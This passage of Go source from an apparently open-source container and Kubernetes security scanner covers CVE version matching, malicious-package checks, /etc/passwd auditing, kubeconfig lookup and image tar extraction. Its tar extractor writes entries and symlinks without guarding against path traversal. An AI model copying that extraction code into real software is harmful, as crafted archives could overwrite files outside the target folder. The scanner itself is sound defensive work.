fmt.Printf("Pods:\n") table := tablewriter.NewWriter(os.Stdout) table.SetHeader([]string{"ID", "Pod Detail", "Param", "Value", "Type", "Severity", "Description"}) table.SetRowLine(true) table.SetAutoMergeCellsByColumnIndex([]int{0, 1}) for i, p := range r.VulnContainers { for _, v := range p.Threats { nodeName := "" if r.MasterNodes[p.NodeName] != nil && r.MasterNodes[p.NodeName].IsMaster { nodeName = fmt.Sprintf("%s (%s)", p.NodeName, config.Red("Master")) } else { nodeName = p.NodeName } vulnData := []string{ strconv.Itoa(i + 1), fmt.Sprintf("Name: %s | "+ "Namespace: %s | "+ "Status: %s | "+ "Node Name: %s", p.ContainerName, p.Namepsace, p.Status, nodeName), v.Param, v.Value, v.Type, judgeSeverity(v.Severity), v.Describe, } table.Append(vulnData) } } table.Render() fmt.Printf("\nConfigures:\n") table = tablewriter.NewWriter(os.Stdout) table.SetHeader([]string{"ID", "Type", "Param", "Value", "Severity", "Description"}) table.SetRowLine(true) table.SetAutoMergeCellsByColumnIndex([]int{1}) for i, c := range r.VulnConfigures { vulnData := []string{strconv.Itoa(i + 1), c.Type, c.Param, c.Value, judgeSeverity(c.Severity), c.Describe} table.Append(vulnData) } table.Render() return nil } func judgeSeverity(severity string) string { severityLow := strings.ToLower(severity) switch severityLow { case "critical": return config.Red("critical") case "high": return config.Pink("high") case "medium": return config.Yellow("medium") case "low": return config.Green("low") case "warning": return "warning" default: // ignore } return "unknown" } ================================================ FILE: internal/scanner.go ================================================ package internal import ( "github.com/kvesta/vesta/internal/analyzer" "github.com/kvesta/vesta/internal/vulnscan" "github.com/kvesta/vesta/pkg/layer" "github.com/kvesta/vesta/pkg/osrelease" "github.com/kvesta/vesta/pkg/packages" ) type Vuln struct { Scan vulnscan.Scanner // get layer information Mani *layer.Manifest // get os release OsRelease *osrelease.OsVersion // list all installed packages Packs *packages.Packages } type Inpsectors struct { Scan analyzer.Scanner Kscan analyzer.KScanner } ================================================ FILE: internal/utils.go ================================================ package internal import ( "context" "io" "log" "os" "path/filepath" "sync" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal/report" "github.com/kvesta/vesta/pkg/inspector" "github.com/kvesta/vesta/pkg/layer" "github.com/kvesta/vesta/pkg/osrelease" "github.com/kvesta/vesta/pkg/packages" "github.com/kvesta/vesta/pkg/vulnlib" "github.com/docker/docker/client" "k8s.io/client-go/kubernetes" restclient "k8s.io/client-go/rest" "k8s.io/client-go/tools/clientcmd" "k8s.io/client-go/util/homedir" ) func DoScan(ctx context.Context, tarFile string, tarIO []io.ReadCloser) { var wg sync.WaitGroup var m *layer.Manifest // Get vulnerability database if !ctx.Value("skip").(bool) { err := vulnlib.Fetch(ctx) if err != nil { log.Printf("failed to get vulnerability database") } } if ctx.Value("tarType").(string) != "filesystem" { log.Printf(config.Green("Begin to analyze the layer")) // Extract tar file to local folder var err error m, err = Extract(ctx, tarFile, tarIO) if err != nil { log.Printf("Extract container failed, error: %v\n"+ "\tTips: try to use the container scan", err) return } } else { // Use path directly m = &layer.Manifest{ Localpath: tarFile, } } osVersion, err := osrelease.DetectOs(ctx, *m) log.Printf("Detect OS: %s", osVersion.OID) vulns := &Vuln{ OsRelease: osVersion, Mani: m, Packs: &packages.Packages{ Mani: *m, OsRelease: *osVersion, }, } packs := vulns.Packs err = packs.GetApp(ctx) if err != nil { log.Printf("package error %v", err) } scanner := vulns.Scan err = scanner.Scan(ctx, m, packs) if err != nil { log.Printf("scan error %v", err) } if ctx.Value("tarType").(string) == "filesystem" { goto rep } go func() { wg.Add(1) defer wg.Done() if len(tarIO) > 0 { for _, f := range tarIO { f.Close() } } // Check directory is legal pwd, err := os.Getwd() if err != nil { log.Printf("failed to remove %s : %v", m.Localpath, err) } if pwd == m.Localpath { return } err = os.RemoveAll(m.Localpath) if err != nil { log.Printf("failed to remove %s : %v", m.Localpath, err) } }() rep: err = report.ResolveAnalysisData(ctx, scanner) if err != nil { log.Printf("report error %v", err) } err = report.ScanToJson(ctx, scanner) if err != nil { log.Printf("saving error %v", err) } wg.Wait() } // DoInspectInDocker inspect docker configure func DoInspectInDocker(ctx context.Context) { log.Printf(config.Green("Start analysing")) cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation()) if err != nil { log.Printf("Cannot initialized docker environment, error: %v", err) return } c := inspector.DockerApi{ DCli: cli, } engineVersion, err := c.GetEngineVersion(ctx) if err != nil { log.Printf("Cannot get engine version, error: %v", err) } serverVersion, err := c.GetDockerServerVersion(ctx) if err != nil { log.Printf("Cannot get server version, error: %v", err) } inspects := &Inpsectors{} scanner := inspects.Scan scanner.DApi = c scanner.EngineVersion = engineVersion scanner.ServerVersion = serverVersion err = scanner.Analyze(ctx) if err != nil { log.Printf("Snalyze error %v", err) return } err = report.ResolveDockerData(ctx, scanner) if err != nil { log.Printf("Report error %v", err) } err = report.AnalyzeDockerToJson(ctx, scanner) if err != nil { log.Printf("Saving error %v", err) } } // DoInspectInKubernetes inspect kubernetes' configure func DoInspectInKubernetes(ctx context.Context) { log.Printf(config.Green("Start analysing")) var kubeconfig string var kconfig *restclient.Config var err error const tokenFile = "/var/run/secrets/kubernetes.io/serviceaccount/token" // Checking whether inside a pod if _, err := os.Stat(tokenFile); os.IsNotExist(err) { ctx = context.WithValue(ctx, "inside", false) } else { ctx = context.WithValue(ctx, "inside", true) } if ctx.Value("kubeconfig") != "default" { kubeconfig = ctx.Value("kubeconfig").(string) } else if home := homedir.HomeDir(); home != "" { if exists(filepath.Join(home, ".kube", "config")) { kubeconfig = filepath.Join(home, ".kube", "config") } else if exists("/etc/rancher/k3s/k3s.yaml") { // for k3s kubeconfig = "/etc/rancher/k3s/k3s.yaml" } else if exists("/etc/k0s/k0s.yaml") { // for k0s kubeconfig = "/etc/k0s/k0s.yaml" } } else { // use original config of kubernetes if exists("/etc/kubernetes/config/admin.conf") { kubeconfig = "/etc/kubernetes/config/admin.conf" } else if exists("/etc/rancher/k3s/k3s.yaml") { kubeconfig = "/etc/rancher/k3s/k3s.yaml" } else if exists("/etc/k0s/k0s.yaml") { kubeconfig = "/etc/k0s/k0s.yaml" } } // Set the server host if exist if host := ctx.Value("server").(string); host != "" { kconfig, err = clientcmd.BuildConfigFromFlags(host, kubeconfig) } else { kconfig, err = clientcmd.BuildConfigFromFlags("", kubeconfig) } // Set the insecure method if ctx.Value("insecure").(bool) { kconfig.Insecure = true } // Authenticate with token if BearerToken := ctx.Value("token").(string); BearerToken != "" { kconfig.BearerToken = BearerToken } if err != nil { log.Printf("Cannot initialize kubernetes environment, error: %v", err) return } clientset, err := kubernetes.NewForConfig(kconfig) if err != nil { log.Printf("Cannot get all kubernetes inpector, error: %v", err) } inspects := &Inpsectors{} scanner := inspects.Kscan scanner.KClient = clientset scanner.KConfig = kconfig err = scanner.Kanalyze(ctx) if err != nil { log.Printf("Analyze error") } err = report.ResolveKuberData(ctx, scanner) if err != nil { log.Printf("Report error %v", err) } err = report.AnalyzeKubernetesToJson(ctx, scanner) if err != nil { log.Printf("Saving error %v", err) } } ================================================ FILE: internal/vulnscan/scanner.go ================================================ package vulnscan import ( "github.com/kvesta/vesta/pkg/packages" "github.com/kvesta/vesta/pkg/vulnlib" ) type Scanner struct { Vulnerabilities int Vulns []*vulnComponent VulnDB vulnlib.Client VulnPacks packages.Packages } type vulnComponent struct { Name string CurrentVersion string Type string CVEID string VulnerableVersion string Level string PublishDate string Desc string Score float64 } ================================================ FILE: internal/vulnscan/utils.go ================================================ package vulnscan import ( "io/fs" "io/ioutil" "os" "path/filepath" "sort" "strings" "github.com/kvesta/vesta/config" ) func sortSeverity(vulnComponents []*vulnComponent) { sort.Slice(vulnComponents, func(i, j int) bool { return config.SeverityMap[strings.ToLower(vulnComponents[i].Level)] > config.SeverityMap[strings.ToLower(vulnComponents[j].Level)] }) } func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } func listPythonSitePack(sitePath string) []string { targetPaths := []string{} fsys := os.DirFS(sitePath) if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error { switch { case err != nil: return err case d.IsDir(): return nil } if filepath.Base(path) == "setup.py" || filepath.Base(path) == "__init__.py" { targetPaths = append(targetPaths, path) } return nil }); err != nil { return targetPaths } return targetPaths } func listPythonPth(sitePath string) []string { targetPaths := []string{} files, err := ioutil.ReadDir(sitePath) if err != nil { return targetPaths } for _, file := range files { if file.IsDir() { continue } if filepath.Ext(file.Name()) == ".pth" { targetPaths = append(targetPaths, file.Name()) } } return targetPaths } ================================================ FILE: internal/vulnscan/vuln.go ================================================ package vulnscan import ( "bufio" "context" "fmt" "log" "os" "path/filepath" "strings" "github.com/kvesta/vesta/config" "github.com/kvesta/vesta/internal/analyzer" "github.com/kvesta/vesta/pkg/layer" "github.com/kvesta/vesta/pkg/match" "github.com/kvesta/vesta/pkg/packages" "github.com/kvesta/vesta/pkg/vulnlib" version2 "github.com/hashicorp/go-version" rpmversion "github.com/knqyf263/go-rpm-version" ) func (ps *Scanner) Scan(ctx context.Context, m *layer.Manifest, p *packages.Packages) error { log.Printf(config.Green("Begin to scan the layer")) err := ps.VulnDB.Init() if err != nil { log.Printf("failed to fetch database") return err } defer ps.VulnDB.DB.Close() err = ps.checkPackageVersion(ctx, p.Packs, p.OsRelease.OID) if err != nil { log.Printf("failed to check package's version") } err = ps.checkPythonModule(ctx, p.PythonPacks, m) if err != nil { log.Printf("failed to check python module") } err = ps.checkNpmModule(ctx, p.NodePacks) if err != nil { log.Printf("failed to check node module") } err = ps.checkGoMod(ctx, p.GOPacks) if err != nil { log.Printf("failed to check go mod") } err = ps.checkJavaPacks(ctx, p.JavaPacks) if err != nil { log.Printf("failed to check go mod") } err = ps.checkPHPPacks(ctx, p.PHPPacks) if err != nil { log.Printf("failed to check php packs") } err = ps.checkRustPacks(ctx, p.RustPacks) if err != nil { log.Printf("failed to check rust packs") } err = ps.getOthers(ctx, p.Others) if err != nil { log.Printf("failed to get others packages") } err = ps.checkPassword(ctx, m) if err != nil { log.Printf("failed to check /etc/passwd") } // Check the image history if exist if ok, tlist := analyzer.CheckHistories(m.Histories); ok { historyVuln := []*vulnComponent{} for _, t := range tlist { vuln := &vulnComponent{ Name: t.Param, Level: t.Severity, CVEID: "-", Desc: t.Describe, Score: 0.0, CurrentVersion: "-", Type: "Docker Histories", VulnerableVersion: "-", } historyVuln = append(historyVuln, vuln) } sortSeverity(historyVuln) ps.Vulns = append(ps.Vulns, historyVuln...) } return err } func getInfo(row *vulnlib.DBRow, version, packType string) *vulnComponent { vuln := &vulnComponent{ Level: row.Level, CVEID: row.CVEID, Desc: row.Description, PublishDate: row.PublishDate, Score: row.Score, CurrentVersion: version, Type: packType, } if strings.HasPrefix(row.MaxVersion, "=") { vuln.VulnerableVersion = "<=" + row.MaxVersion[1:] } else { vuln.VulnerableVersion = "<" + row.MaxVersion } return vuln } func compareVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) { var isVulnerable = false vulns := []*vulnComponent{} for _, row := range rows { // Skip same name which from different component skip := true for _, c := range cp { if c == row.Component { skip = false } } if skip { continue } currentVersion, err := version2.NewVersion(cv) if err != nil { continue } if row.MaxVersion == "*" { continue } if strings.Contains(row.MaxVersion, "=") { vulnMaxVersion, err := version2.NewVersion(row.MaxVersion[1:]) if err != nil { continue } if strings.Contains(row.MinVersion, "=") { vulnMinVersion, err := version2.NewVersion(row.MinVersion[1:]) if err != nil { continue } if currentVersion.Compare(vulnMaxVersion) <= 0 && currentVersion.Compare(vulnMinVersion) >= 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } else { vulnMinVersion, err := version2.NewVersion(row.MinVersion) if err != nil { continue } if currentVersion.Compare(vulnMaxVersion) <= 0 && currentVersion.Compare(vulnMinVersion) > 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } } else { vulnMaxVersion, err := version2.NewVersion(row.MaxVersion) if err != nil { continue } if strings.Contains(row.MinVersion, "=") { vulnMinVersion, err := version2.NewVersion(row.MinVersion[1:]) if err != nil { continue } if currentVersion.Compare(vulnMaxVersion) < 0 && currentVersion.Compare(vulnMinVersion) >= 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } else { vulnMinVersion, err := version2.NewVersion(row.MinVersion) if err != nil { continue } if currentVersion.Compare(vulnMaxVersion) < 0 && currentVersion.Compare(vulnMinVersion) > 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } } } return vulns, isVulnerable } func compareRpmVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) { var isVulnerable = false vulns := []*vulnComponent{} for _, row := range rows { // Skip same name which from different component skip := true for _, c := range cp { if c == row.Component { skip = false } } if skip { continue } currentVersion := rpmversion.NewVersion(cv) if row.MaxVersion == "*" { continue } if strings.Contains(row.MaxVersion, "=") { vulnMaxVersion := rpmversion.NewVersion(row.MaxVersion[1:]) if strings.Contains(row.MinVersion, "=") { vulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:]) if currentVersion.Compare(vulnMaxVersion) <= 0 && currentVersion.Compare(vulnMinVersion) >= 0 { vuln := getInfo(row, currentVersion.Version(), ty) vulns = append(vulns, vuln) isVulnerable = true } } else { vulnMinVersion := rpmversion.NewVersion(row.MinVersion) if currentVersion.Compare(vulnMaxVersion) <= 0 && currentVersion.Compare(vulnMinVersion) > 0 { vuln := getInfo(row, currentVersion.Version(), ty) vulns = append(vulns, vuln) isVulnerable = true } } } else { vulnMaxVersion := rpmversion.NewVersion(row.MaxVersion) if strings.Contains(row.MinVersion, "=") { vulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:]) if currentVersion.Compare(vulnMaxVersion) < 0 && currentVersion.Compare(vulnMinVersion) >= 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } else { vulnMinVersion := rpmversion.NewVersion(row.MinVersion) if currentVersion.Compare(vulnMaxVersion) < 0 && currentVersion.Compare(vulnMinVersion) > 0 { vuln := getInfo(row, currentVersion.String(), ty) vulns = append(vulns, vuln) isVulnerable = true } } } } return vulns, isVulnerable } func (ps *Scanner) checkPythonModule(ctx context.Context, pys []*packages.Python, m *layer.Manifest) error { pyVuln := []*vulnComponent{} for _, py := range pys { // Check the pth file in site-packages // reference: https://github.com/kvesta/vesta/wiki/Backdoor-Detection sitePackagePath := filepath.Join(m.Localpath, py.SitePath) for _, p := range listPythonPth(sitePackagePath) { filename := filepath.Join(sitePackagePath, p) if sus := match.PyMalwareScan(filename); sus.Types != 0 { vuln := &vulnComponent{ Name: fmt.Sprintf("%s - %s", py.Version, py.SitePath), Level: "high", Score: 9.5, Type: "Python", CurrentVersion: py.Version, VulnerableVersion: "-", Desc: fmt.Sprintf("Malicious package is detected in '%s', "+ "%s", strings.TrimPrefix(filename, m.Localpath), sus.OriginPack), } pyVuln = append(pyVuln, vuln) } } for _, si := range py.SitePacks { // Get setup.py of python package sites := filepath.Join(m.Localpath, py.SitePath, si.Name) if py.SitePath == "poetry" { goto checkVersion } for _, p := range listPythonSitePack(sites) { filename := filepath.Join(sites, p) if sus := match.PyMalwareScan(filename); sus.Types != 0 { vuln := &vulnComponent{ Name: fmt.Sprintf("%s - %s", py.Version, si.Name), Level: "high", Score: 8.5, Type: "Python", CurrentVersion: si.Version, VulnerableVersion: "-", Desc: fmt.Sprintf("Malicious package is detected in '%s', "+ "%s", strings.TrimPrefix(filename, m.Localpath), sus.OriginPack), } pyVuln = append(pyVuln, vuln) goto checkVersion } } checkVersion: rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(si.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, si.Version, "Python", []string{"*", "python"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s - %s", py.Version, si.Name) } sortSeverity(vs) pyVuln = append(pyVuln, vs...) } if sus := match.PyMatch(si.Name); sus.Types != 0 { vuln := &vulnComponent{ Name: fmt.Sprintf("%s - %s", py.Version, si.Name), Level: "medium", Score: 7.5, Type: "Python", CurrentVersion: si.Version, VulnerableVersion: "-", } switch sus.Types { case 1: vuln.Desc = fmt.Sprintf("Suspicious malicious package, "+ "compared name: %s", sus.OriginPack) case 2: vuln.Desc = fmt.Sprintf("Detect the pypi malware,"+ "origin package name is: %s", sus.OriginPack) default: // ignore } pyVuln = append(pyVuln, vuln) } } } ps.Vulns = append(ps.Vulns, pyVuln...) return nil } func (ps *Scanner) checkNpmModule(ctx context.Context, nodes []*packages.Node) error { npmVuln := []*vulnComponent{} for _, node := range nodes { for _, npm := range node.NPMS { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(npm.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, npm.Version, "Node", []string{"node.js"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s - %s", node.Version, npm.Name) } sortSeverity(vs) npmVuln = append(npmVuln, vs...) } if sus := match.NpmMatch(npm.Name); sus.Types != 0 { vuln := &vulnComponent{ Name: fmt.Sprintf("%s - %s", node.Version, npm.Name), Level: "medium", Score: 7.5, Type: "Node", CurrentVersion: npm.Version, VulnerableVersion: "-", } switch sus.Types { case 1: vuln.Desc = fmt.Sprintf("Suspicious malicious package, "+ "compared name: %s", sus.OriginPack) case 2: vuln.Desc = fmt.Sprintf("Detect the node malware,"+ "origin package name is: %s", sus.OriginPack) default: // ignore } npmVuln = append(npmVuln, vuln) } } } ps.Vulns = append(ps.Vulns, npmVuln...) return nil } func (ps *Scanner) checkGoMod(ctx context.Context, gobins []*packages.GOBIN) error { goVuln := []*vulnComponent{} for _, gobin := range gobins { for _, mod := range gobin.Deps { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(mod.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, mod.Version, "Go", []string{"*"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s (%s) - %s", gobin.Name, gobin.Path, mod.Path) } sortSeverity(vs) goVuln = append(goVuln, vs...) } } } ps.Vulns = append(ps.Vulns, goVuln...) return nil } func (ps *Scanner) checkJavaPacks(ctx context.Context, javas []*packages.JAVA) error { javaVuln := []*vulnComponent{} for _, java := range javas { for _, jar := range java.Jars { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(jar.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, jar.Version, "Java", []string{"*"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s (%s) - %s", java.Name, java.Path, jar.Name) } sortSeverity(vs) javaVuln = append(javaVuln, vs...) } } } ps.Vulns = append(ps.Vulns, javaVuln...) return nil } func (ps *Scanner) checkPHPPacks(ctx context.Context, phps []*packages.PHP) error { phpVuln := []*vulnComponent{} for _, php := range phps { for _, pack := range php.Packs { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, pack.Version, "PHP", []string{"*"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s (%s) - %s", php.Name, php.Path, pack.Name) } sortSeverity(vs) phpVuln = append(phpVuln, vs...) } } } ps.Vulns = append(ps.Vulns, phpVuln...) return nil } func (ps *Scanner) checkRustPacks(ctx context.Context, rusts []*packages.Rust) error { rustVuln := []*vulnComponent{} for _, cargo := range rusts { for _, pack := range cargo.Deps { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, pack.Version, "Rust", []string{"*", "rust"}); vuln { for _, v := range vs { v.Name = fmt.Sprintf("%s (%s) - %s", cargo.Name, cargo.Path, pack.Name) } sortSeverity(vs) rustVuln = append(rustVuln, vs...) } } } ps.Vulns = append(ps.Vulns, rustVuln...) return nil } func (ps *Scanner) checkPackageVersion(ctx context.Context, packs []*packages.Package, os string) error { packVuln := []*vulnComponent{} os = strings.ToLower(os) if os == "centos" || os == "rhel" { for _, p := range packs { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name)) if err != nil { continue } if vs, vuln := compareRpmVersion(rows, p.Version, "System", []string{"*"}); vuln { for _, v := range vs { v.Name = p.Name } sortSeverity(vs) packVuln = append(packVuln, vs...) } } ps.Vulns = append(ps.Vulns, packVuln...) return nil } for _, p := range packs { rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name)) if err != nil { continue } if vs, vuln := compareVersion(rows, p.Version, "System", []string{"*"}); vuln { for _, v := range vs { v.Name = p.Name } sortSeverity(vs) packVuln = append(packVuln, vs...) } } ps.Vulns = append(ps.Vulns, packVuln...) return nil } // getOthers into the database of the vulnerabilities func (ps *Scanner) getOthers(ctx context.Context, others []*packages.Other) error { othersVuln := []*vulnComponent{} for _, oth := range others { othVuln := &vulnComponent{ Name: oth.Name, CurrentVersion: "-", VulnerableVersion: "-", Type: "Others", CVEID: oth.Title, Level: oth.Level, Score: oth.Score, Desc: oth.Desc, } othersVuln = append(othersVuln, othVuln) } sortSeverity(othersVuln) ps.Vulns = append(ps.Vulns, othersVuln...) return nil } // checkPassword check other user belongs to root in /etc/passwd func (ps *Scanner) checkPassword(ctx context.Context, m *layer.Manifest) error { passVuln := []*vulnComponent{} passFile := filepath.Join(m.Localpath, "etc/passwd") f, err := os.Open(passFile) if err != nil { return err } defer f.Close() scanner := bufio.NewScanner(f) for scanner.Scan() { pass := strings.Split(scanner.Text(), ":") if pass[2] != "0" && pass[3] == "0" && !strings.HasSuffix(pass[6], "/sbin/nologin") { vulnAccount := &vulnComponent{ Name: "Account of /etc/passwd", CurrentVersion: "-", VulnerableVersion: "-", Type: "Others", CVEID: fmt.Sprintf("Suspicious Account: '%s'", pass[0]), Level: "medium", Score: 6.5, Desc: fmt.Sprintf("Account '%s' in /etc/passwd is not root "+ "but in the group of root. Account line: '%s'", pass[0], strings.Join(pass[0:5], ":")+" "+strings.Join(pass[5:7], ":")), } passVuln = append(passVuln, vulnAccount) } } ps.Vulns = append(ps.Vulns, passVuln...) return nil } ================================================ FILE: pkg/extractor.go ================================================ package pkg import ( "archive/tar" "errors" "io" "log" "os" "path/filepath" "regexp" "strings" ) func exists(path string) bool { _, err := os.Stat(path) if err != nil { if os.IsExist(err) { return true } return false } return true } // Walk ignore the file which is vert large func Walk(tarReader *tar.Reader, path string) error { for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() { if err != nil { return err } extractFile := filepath.Join(path, hdr.Name) // ignore the file larger than 1GB if hdr.Size > 1073741824 { continue } switch hdr.Typeflag { case tar.TypeDir: if !exists(extractFile) { if err := os.MkdirAll(extractFile, 0775); err != nil { return err } } case tar.TypeReg: file, err := os.OpenFile(extractFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode)) if err != nil { continue } _, err = io.Copy(file, tarReader) if err != nil { log.Printf("file %s cannot extract: %v", hdr.Name, err) } case tar.TypeSymlink: linkName := filepath.Join(path, hdr.Linkname) err = os.Symlink(linkName, extractFile) if err != nil { continue } default: // ignore } } return nil } // AnalyzeTarLayer get manifest.json and layer.tar from tar file func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, string, error) { var manifest, histories string imageIdReg := regexp.MustCompile(`^[0-9a-fA-F]{64}\.json$`) for hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() { if err != nil { return manifest, histories, err } if hdr.Name == "manifest.json" { b, err := io.ReadAll(tarReader) manifest = string(b) if err != nil { return manifest, histories, err } } else if imageIdReg.MatchString(hdr.Name) { // Get the image histories b, err := io.ReadAll(tarReader) histories = string(b) if err != nil { return manifest, histories, err } } else if filepath.Base(hdr.Name) == "layer.tar" { layerFile := filepath.Join(tempPath, filepath.Dir(hdr.Name)+".tar") file, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode)) if err != nil { continue } _, err = io.Copy(file, tarReader) if err != nil { log.Printf("file %s cannot extract: %v", hdr.Name, err) } } else if strings.HasPrefix(hdr.Name, "blobs/sha256/") && len(hdr.Name) > 15 { // Adapt for the new docker image format after Docker Version 25.0.0 layerFile := filepath.Join(tempPath, filepath.Base(hdr.Name)[:64]+".tar") file, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode)) if err != nil { continue } _, err = io.Copy(file, tarReader) if err != nil { log.Printf("file %s cannot extract: %v", hdr.Name, err) } } } if manifest == "" { err := errors.New("manifest not found") return manifest, histories, err } return manifest, histories, nil } ================================================ FILE: pkg/inspector/client.go ================================================ package inspector import ( "context" "github.com/docker/docker/client" ) var ( ctx = context.Background() ) type DockerApi struct { DCli *client.Client } ================================================ FILE: pkg/inspector/container.go ================================================ package inspector import ( "context" "io" "log" "strings" "github.com/docker/docker/api/types" "github.com/kvesta/vesta/config" ) func (da *DockerApi) GetContainerName(containerID string) ([]io.ReadCloser, error) { var whiteList = []string{"/", "/etc", "/proc", "/sys", "/usr", "/lib", "/lib64"} var containerIo []io.ReadCloser isWhite := func(path string) bool { for _, whitePath := range whiteList { if path == whitePath { return true } } return false } log.Printf(config.Green("Searching for container")) fileio, err := da.DCli.ContainerExport(ctx, containerID) if err != nil { return nil, err } containerIo = append(containerIo, fileio) // Get mount path, reference: https://docs.docker.com/engine/reference/commandline/export/#description ins, err := da.DCli.ContainerInspect(ctx, containerID) if err == nil { var mnts []types.MountPoint if ins.Mounts != nil { mnts = ins.Mounts } for _, mnt := range mnts { if isWhite(mnt.Source) { continue } cp, stats, err := da.DCli.CopyFromContainer(ctx, containerID, mnt.Destination) // Skip the large file if err != nil || stats.Size > 1073741824 { continue } containerIo = append(containerIo, cp) } } return containerIo, err } func (da *DockerApi) GetAllContainers() ([]*types.ContainerJSON, error) { inps := []*types.ContainerJSON{} containers, err := da.DCli.ContainerList(ctx, types.ContainerListOptions{}) if err != nil { return inps, err } for _, c := range containers { // pass the kubernetes pod for kubernetes version < 1.24 if strings.Contains(c.Names[0], "k8s") { continue } ins, err := da.DCli.ContainerInspect(ctx, c.ID[:12]) if err != nil { log.Printf("%s cannot inpsect, error: %v", c.Names, err) } inps = append(inps, &ins) } return inps, nil } func (da *DockerApi) GetEngineVersion(ctx context.Context) (string, error) { log.Printf("Getting engine version") var version string server, err := da.DCli.ServerVersion(ctx) if err != nil { return version, err } for _, s := range server.Components { if s.Name == "containerd" { version = s.Version break } } return version, err } func (da *DockerApi) GetDockerServerVersion(ctx context.Context) (string, error) { log.Printf("Getting docker server version") var version string server, err := da.DCli.ServerVersion(ctx) if err != nil { return version, err } version = server.Version return version, nil } func (da *DockerApi) FindDockerService(name string) bool { sws, err := da.DCli.ServiceList(context.Background(), types.ServiceListOptions{}) if err != nil { return false } for _, swarm := range sws { if strings.HasPrefix(name, swarm.Spec.Name) { return true } } return false } ================================================ FILE: pkg/inspector/image.go ================================================ package inspector import ( "io" "log" "regexp" "strings" "github.com/docker/docker/api/types" imagev1 "github.com/docker/docker/api/types/image" "github.com/kvesta/vesta/config" ) func (da *DockerApi) GetImageName(imageID string) ([]io.ReadCloser, error) { var imageList []string images, err := da.DCli.ImageList(ctx, types.ImageListOptions{}) if err != nil { return nil, err } filter := regexp.MustCompile(`^[a-f0-9]{12}$`) if filter.MatchString(imageID) { for _, image := range images { if len(image.RepoTags) < 1 { continue } sha := strings.Split(image.ID, ":")[1] if imageID == sha[:12] { imageList = append(imageList, image.RepoTags[0]) } } } else { imageList = append(imageList, imageID) } log.Printf(config.Green("Searching for image")) fileio, err := da.DCli.ImageSave(ctx, imageList) if err != nil { return nil, err } return []io.ReadCloser{fileio}, nil } type ImageInfo struct { Summary types.ImageSummary History []imagev1.HistoryResponseItem } func (da *DockerApi) GetAllImage() ([]*ImageInfo, error) { images := []*ImageInfo{} ims, err := da.DCli.ImageList(ctx, types.ImageListOptions{}) for _, im := range ims { his, err := da.DCli.ImageHistory(ctx, im.ID) if err != nil { continue } image := &ImageInfo{ Summary: im, History: his, } images = append(images, image) } if err != nil { return images, err } return images, nil } ================================================ FILE: pkg/inspector/utils.go ================================================ package inspector import ( "context" "io" "log" "github.com/docker/docker/client" ) func GetTarFromID(ctx context.Context, ID string) ([]io.ReadCloser, error) { var err error // Use the inspector id from containerd or crio cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation()) if err != nil { log.Printf("init docker environment failed: %v", err) return nil, err } c := DockerApi{ DCli: cli, } defer c.DCli.Close() var tarFile []io.ReadCloser if ctx.Value("tarType") == "image" { tarFile, err = c.GetImageName(ID) if err != nil { log.Printf("get image error: %v", err) } } else { tarFile, err = c.GetContainerName(ID) if err != nil { log.Printf("expose inspector file error: %v", err) return nil, err } } return tarFile, nil } ================================================ FILE: pkg/layer/files.go ================================================ package layer import ( "bytes" "io/fs" "os" ) func (m *Manifest) File(file string) (*bytes.Buffer, error) { fsys := os.DirFS(m.Localpath) buf := []byte{} if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error { switch { case err != nil: return err case d.IsDir(): return nil } if path == file { buf, err = fs.ReadFile(fsys, path) if err != nil { return err } return nil } return nil }); err != nil { return bytes.NewBuffer(buf), err } return bytes.NewBuffer(buf), nil } ================================================ FILE: pkg/layer/integrator.go ================================================ package layer import ( "archive/tar" "context" "crypto/md5" "encoding/hex" "errors" "os" "path/filepath" "strings" "time" "github.com/docker/docker/api/types" "github.com/docker/docker/api/types/image" "github.com/kvesta/vesta/pkg" _image "github.com/kvesta/vesta/pkg/inspector" "github.com/tidwall/gjson" ) func md5Stamp() string { timeStamp := time.Now().String() md5h := md5.Sum([]byte(timeStamp)) return 